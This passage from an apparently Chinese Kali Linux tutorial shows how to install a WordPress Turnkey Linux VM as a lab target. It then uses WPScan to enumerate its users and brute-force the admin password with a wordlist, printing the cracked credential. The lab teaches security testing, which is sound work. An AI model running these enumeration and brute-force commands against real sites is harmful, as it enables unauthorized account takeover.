3.2 攻击WordPress和其他应用程序

今天越来越多的企业利用SAAS(Software as a Service)工具应用在他们的业务中。例如,他们经常使用WordPress作为他们网站的内容管理系统,或者在局域网中使用Drupal框架。从这些应用程序中找到漏洞,是非常有价值的。

为了收集用于测试的应用程序,Turnkey Linux是一个非常好的资源。Turnkey工具的官方网站是http://www.turnkeylinux.org。本节将下载最流行的WordPress Turnkey Linux发行版。

3.2.1 获取WordPress应用程序

获取WordPress应用程序的具体操作步骤如下所示。

(1)在浏览器中输入http://www.turnkeylinux.org地址,打开的界面如图3.8所示。从该界面下载Turnkey Linux。

068-01

图3.8 Turnkey主页

(2)在该页面列出了许多程序,可以通过向下滚动鼠标查看。由于篇幅的原因,图3.8只截取了一少部分内容。在该页面中,用户可以尝试使用各种软件查找漏洞,并通过工具对这些应用程序来测试用户的技术。本例中将选择测试WordPress,向下滚动鼠标可以看到Instant Search对话框,如图3.9所示。

068-02

图3.9 立即搜索

(3)在该对话框中输入WordPress,然后按下回车键,将显示如图3.10所示的界面。

069-01

图3.10 WordPress应用程序

(4)在该界面可以看到WordPress程序已经找到,此时单击WordPress-Blog Publishing Platform链接进入下载页面,如图3.11所示。

069-02

图3.11 Turnkey下载页面

(5)在该界面选择下载ISO映像文件。单击220MB ISO链接,将显示如图3.12所示的界面。

069-03

图3.12 设置邮箱地址

(6)该界面提示为了安全,需要填写一个邮箱地址。填写完后,单击Subscribe and go straight to download按钮,将开始下载Turnkey WordPress软件。

3.2.2 安装WordPress Turnkey Linux

本小节将介绍在VMware Workstation中安装WordPress Turnkey Linux。关于VMware Workstation的使用,在第1章中已经详细介绍过,这里就不再赘述。安装WordPress Turnkey Linux的具体操作步骤如下所示。

(1)将前面下载的ISO文件导入到光驱中,然后启动此虚拟机,将显示如图3.13所示的界面。

070-01

图3.13 TURNKEY初始界面

(2)在该界面选择Install to hard disk选项,按下“回车键”,将显示如图3.14所示的界面。

070-02

图3.14 选择分区方法

(3)该界面是选择分区的方法。该系统提供了三种方法,分别是使用整个磁盘并设置LVM、使用整个磁盘和手动分区。这里选择第一种,然后单击OK按钮,将显示如图3.15所示的界面。

071-01

图3.15 将数据写入磁盘

(4)该界面显示了分区的信息,这里提示是否将写入改变磁盘并配置LVM呢?如果想要重新分配分区的话,就单击No按钮,否则单击Yes按钮。本例中单击Yes按钮,将显示如图3.16所示的界面。

071-02

图3.16 LVM信息

(5)该界面显示了LVM的配置信息。单击OK按钮,将显示如图3.17所示的界面。

071-03

图3.17 使用引导分区的卷组

(6)该界面提示使用引导分区的卷组来安装系统。此时,单击OK按钮,将显示如图3.18所示的界面。

072-01

图3.18 磁盘分区表

(7)该界面显示了磁盘的分区表信息,此时提示是否要写入数据。这里单击Yes按钮,将显示如图3.19所示的界面。

072-02

图3.19 复制数据到磁盘

(8)该界面显示了复制数据的磁盘的一个进度。复制完后,将显示如图3.20所示的 界面。

072-03

图3.20 安装GRUB引导

(9)该界面提示是否安装GRUB引导加载程序的主引导记录。这里单击Yes按钮,将显示如图3.21所示的界面。

072-04

图3.21 是否重启系统

(10)该界面显示WordPress Turnkey Linux已经安装完成,是否现在重新启动系统。单击Yes按钮,将显示如图3.22所示的界面。

073-01

图3.22 Root密码

(11)在该界面为Root用户设置一个密码。输入密码后,单击OK按钮,将显示如图3.23所示的界面。

073-02

图3.23 Root确认密码

(12)该界面要求再次为Root用户输入相同的密码,单击OK按钮,将显示如图3.24所示的界面。

073-03

图3.24 MySQL密码

(13)在该界面为MySQL服务的Root用户设置一个密码,设置完后单击OK按钮,将显示如图3.25所示的界面。

073-04

图3.25 MySQL确认密码

(14)在该界面再次为MySQL服务的Root用户输入相同的密码,然后单击OK按钮,将显示如图3.26所示的界面。

073-05

图3.26 Wordpress用户admin密码

(15)在该界面要求为Wordpress的用户admin设置一个密码,输入密码后,单击OK按钮,将显示如图3.27所示的界面。

074-01

图3.27 Wordpress用户admin确认密码

(16)在该界面再次为Wordpress用户admin输入相同的密码,然后单击OK按钮,将显示如图3.28所示的界面。

074-02

图3.28 设置邮件地址

(17)该界面提示为Wordpress用户admin设置一个邮件地址,这里使用默认的admin@example.com。然后单击Apply按钮,将显示如图3.29所示的界面。

074-03

图3.29 Initialize Hub Services

(18)该界面显示了初始化Hub服务信息,在该界面单击Skip按钮,将显示如图3.30所示的界面。

074-04

图3.30 Security updates

(19)该界面提示是否现在安装安全更新,这里单击Install按钮,将显示如图3.31所示的界面。

075-01

图3.31 WORDPRESS appliance services

(20)该界面显示了WordPress应用服务的详细信息,如Web地址、Web shell地址和端口、Webmin地址、PHPMyAdmin地址和端口及SSH/SFTP地址和端口等。此时,表明WordPress Turnkey Linux就可以使用了。

3.2.3 攻击WordPress应用程序

上一小节介绍了WordPress虚拟机的安装。现在就可以启动WordPress虚拟机,在Kali Linux下使用WPScan攻击它。WPScan是一个黑盒安全扫描器,它允许用户查找Word Press安装版的一些已知的安全漏洞。本小节将介绍使用WPScan工具攻击WordPress应用程序。

WPScan在Kali Linux中已经默认安装。它的语法格式如下所示:

  1. wpscan [选项] [测试]

常用的选项如下所示。

  • —update:更新到最新版本。
  • —url|-u :指定扫描WordPress的URL(统一资源定位符)或域名。
  • —force |-f:如果远程站点正运行WordPress,强制WPScan不检查。
  • —enumerate |-e [option(s)]:计算。该参数可用的选项有u、u[10-20]、p、vp、ap、tt、t、vt和at。其中u表示用户名从id1到10;u[10-20]表示用户名从id10到20([]中的字符必须写);p表示插件程序;vp表示仅漏洞插件程序;ap表示所有插件程序(可能需要一段时间);tt表示timthumbs;t表示主题;vt表示仅漏洞主题;at表示所有主题(可能需要一段时间)。
    【实例3-1】使用WPScan攻击WordPress程序的具体操作步骤如下所示。

(1)在Kali Linux下,查看WPScan的帮助信息。执行命令如下所示:

  1. root@localhost:~# wpscan -h
  2. _______________________________________________________________
  3. __ _______ _____
  4. \ \ / / __ \ / ____|
  5. \ \ /\ / /| |__) | (___ ___ __ _ _ __
  6. \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
  7. \ /\ / | | ____) | (__| (_| | | | |
  8. \/ \/ |_| |_____/ \___|\__,_|_| |_|
  9. WordPress Security Scanner by the WPScan Team
  10. Version v2.2
  11. Sponsored by the RandomStorm Open Source Initiative
  12. @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
  13. _______________________________________________________________
  14. Help :
  15. Some values are settable in conf/browser.conf.json :
  16. user-agent, proxy, proxy-auth, threads, cache timeout and request timeout
  17. ......
  18. m conf/browser.conf.json).
  19. --basic-auth <username:password> Set the HTTP Basic authentication
  20. --wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute.
  21. --threads | -t <number of threads> The number of threads to use when multi-threading
  22. requests. (will override the value from conf/browser. conf.json)
  23. --username | -U <username> Only brute force the supplied username.
  24. --help | -h This help screen.
  25. --verbose | -v Verbose output.
  26. Examples :
  27. -Further help ...
  28. ruby ./wpscan.rb --help
  29. -Do 'non-intrusive' checks ...
  30. ruby ./wpscan.rb --url www.example.com
  31. -Do wordlist password brute force on enumerated users using 50 threads ...
  32. ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50
  33. -Do wordlist password brute force on the 'admin' username only ...
  34. ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin
  35. ......

执行以上命令后,会输出大量信息。输出的信息中显示了WPScan的版本信息、使用方法及WPScan的例子等。由于篇幅的原因,这里贴了一部分内容,其他使用省略号(……)取代。

(2)使用WPScan攻击WordPress虚拟机。本例中,WordPress的IP地址是192.168.41.130。执行命令如下所示:

  1. root@localhost:~# wpscan -u 192.168.41.130
  2. _______________________________________________________________
  3. __ _______ _____
  4. \ \ / / __ \ / ____|
  5. \ \ /\ / /| |__) | (___ ___ __ _ _ __
  6. \ \/ \/ /| ___/ \___ \ / __|/ _` | '_ \
  7. \ /\ / | | ____) | (__| (_| | | | |
  8. \/ \/ |_| |_____/ \___|\__,_|_| |_|
  9. WordPress Security Scanner by the WPScan Team
  10. Version v2.2
  11. Sponsored by the RandomStorm Open Source Initiative
  12. @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
  13. _______________________________________________________________
  14. | URL: http://192.168.41.130/
  15. | Started: Thu Apr 17 13:49:37 2014
  16. [!] The WordPress 'http://192.168.41.130/readme.html' file exists
  17. [+] Interesting header: SERVER: Apache/2.2.22 (Debian)
  18. [+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8
  19. [+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
  20. [+] WordPress version 3.6.1 identified from meta generator
  21. [+] WordPress theme in use: twentythirteen v1.0
  22. | Name: twentythirteen v1.0
  23. | Location: http://192.168.41.130/wp-content/themes/twentythirteen/
  24. [+] Enumerating plugins from passive detection ...
  25. No plugins found
  26. [+] Finished: Thu Apr 17 13:49:41 2014
  27. [+] Memory used: 2.414 MB
  28. [+] Elapsed time: 00:00:03

输出的信息显示了WPScan一个简单的攻击过程。

(3)列出用户名列表,执行命令如下所示:

  1. root@localhost:~# wpscan -u 192.168.41.130 -e u vp
  2. _______________________________________________________________
  3. __ _______ _____
  4. \ \ / / __ \ / ____|
  5. \ \ /\ / /| |__) | (___ ___ __ _ _ __
  6. \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
  7. \ /\ / | | ____) | (__| (_| | | | |
  8. \/ \/ |_| |_____/ \___|\__,_|_| |_|
  9. WordPress Security Scanner by the WPScan Team
  10. Version v2.2
  11. Sponsored by the RandomStorm Open Source Initiative
  12. @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
  13. _______________________________________________________________
  14. | URL: http://192.168.41.130/
  15. | Started: Thu Apr 17 13:50:49 2014
  16. [!] The WordPress 'http://192.168.41.130/readme.html' file exists
  17. [+] Interesting header: SERVER: Apache/2.2.22 (Debian)
  18. [+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8
  19. [+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
  20. [+] WordPress version 3.6.1 identified from meta generator
  21. [+] WordPress theme in use: twentythirteen v1.0
  22. | Name: twentythirteen v1.0
  23. | Location: http://192.168.41.130/wp-content/themes/twentythirteen/
  24. [+] Enumerating plugins from passive detection ...
  25. No plugins found
  26. [+] Enumerating usernames ...
  27. [+] We found the following 1 user/s:
  28. +----+-------+-------+
  29. | Id | Login | Name |
  30. +----+-------+-------+
  31. | 1 | admin | admin |
  32. +----+-------+-------+
  33. [+] Finished: Thu Apr 17 13:50:54 2014
  34. [+] Memory used: 2.379 MB
  35. [+] Elapsed time: 00:00:04

从输出的信息中可以看到当前系统中只有一个用户,名为admin。

(4)为WPScan指定一个wordlist文件,使用—wordlist <path to file>选项。执行命令如下所示:

  1. root@localhost:~# wpscan -u 192.168.41.130 -e u --wordlist /root/ wordlist.txt
  2. _______________________________________________________________
  3. __ _______ _____
  4. \ \ / / __ \ / ____|
  5. \ \ /\ / /| |__) | (___ ___ __ _ _ __
  6. \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
  7. \ /\ / | | ____) | (__| (_| | | | |
  8. \/ \/ |_| |_____/ \___|\__,_|_| |_|
  9. WordPress Security Scanner by the WPScan Team
  10. Version v2.2
  11. Sponsored by the RandomStorm Open Source Initiative
  12. @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
  13. _______________________________________________________________
  14. | URL: http://192.168.41.130/
  15. | Started: Thu Apr 17 13:54:51 2014
  16. [!] The WordPress 'http://192.168.41.130/readme.html' file exists
  17. [+] Interesting header: SERVER: Apache/2.2.22 (Debian)
  18. [+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8
  19. [+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
  20. [+] WordPress version 3.6.1 identified from meta generator
  21. [+] WordPress theme in use: twentythirteen v1.0
  22. | Name: twentythirteen v1.0
  23. | Location: http://192.168.41.130/wp-content/themes/twentythirteen/
  24. [+] Enumerating plugins from passive detection ...
  25. No plugins found
  26. [+] Enumerating usernames ...
  27. [+] We found the following 1 user/s:
  28. +----+-------+-------+
  29. | Id | Login | Name |
  30. +----+-------+-------+
  31. | 1 | admin | admin |
  32. +----+-------+-------+
  33. [+] Starting the password brute forcer
  34. Brute Forcing 'admin' Time: 00:00:00 < > (59 / 20575) 0.28%
  35. ETA: 00:00:00
  36. [SUCCESS] Login : admin Password : 123456
  37. +----+-------+-------+----------+
  38. | Id | Login | Name | Password |
  39. +----+-------+-------+----------+
  40. | 1 | admin | admin | 123456 |
  41. +----+-------+-------+----------+
  42. [+] Finished: Thu Apr 17 13:54:56 2014
  43. [+] Memory used: 2.508 MB
  44. [+] Elapsed time: 00:00:05

从输出的信息中,可以看到WordPress用户admin的密码已被破解出。

原文: https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/15.html